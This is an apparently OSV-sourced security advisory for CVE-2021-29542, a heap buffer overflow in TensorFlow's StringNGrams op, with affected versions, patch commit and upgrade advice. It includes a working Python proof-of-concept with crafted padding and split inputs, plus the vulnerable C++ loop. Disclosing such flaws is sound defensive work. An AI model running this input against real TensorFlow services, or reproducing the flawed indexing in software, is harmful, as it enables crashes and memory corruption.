---
id: CVE-2021-29542
aliases:
  - GHSA-4hrh-9vmp-2jgg
  - BIT-tensorflow-2021-29542
  - PYSEC-2021-179
  - PYSEC-2021-470
  - PYSEC-2021-668
title: Heap buffer overflow in `StringNGrams`
summary: Heap buffer overflow in `StringNGrams`
severity: low
cvss: 2.5
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-4hrh-9vmp-2jgg'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29542'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.00198
epssPercentile: 0.08605
ingestedAt: '2026-07-08T18:25:45.498Z'
---

## Overview

### Impact
An attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`:

```python
import tensorflow as tf

separator = b'\x02\x00'    
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True
  
l = ['', '', '', '', '', '', '', '', '', '', '']
  
data = tf.constant(l, shape=[11], dtype=tf.string)
  
l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)

out = tf.raw_ops.StringNGrams(data=data,
    data_splits=data_splits, separator=separator,
    ngram_widths=ngram_widths, left_pad=left_pad,
    right_pad=right_pad, pad_width=pad_width,
    preserve_short_sequences=preserve_short_sequences)
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:
  
```cc
for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {
  int pad_width = get_pad_width(ngram_width);
  int left_padding = std::max(0, pad_width - ngram_index);
  int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));
  int num_tokens = ngram_width - (left_padding + right_padding);
  int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;
  ...
  tstring* ngram = &output[ngram_index];
  ngram->reserve(ngram_size);
  for (int n = 0; n < left_padding; ++n) {
    ngram->append(left_pad_);
    ngram->append(separator_);
  }
  for (int n = 0; n < num_tokens - 1; ++n) {
    ngram->append(data[data_start_index + n]);
    ngram->append(separator_);
  }
  ngram->append(data[data_start_index + num_tokens - 1]); // <<<
  for (int n = 0; n < right_padding; ++n) {
    ngram->append(separator_);
    ngram->append(right_pad_);
  }
  ...
}
```

If input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`.

### Patches
We have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`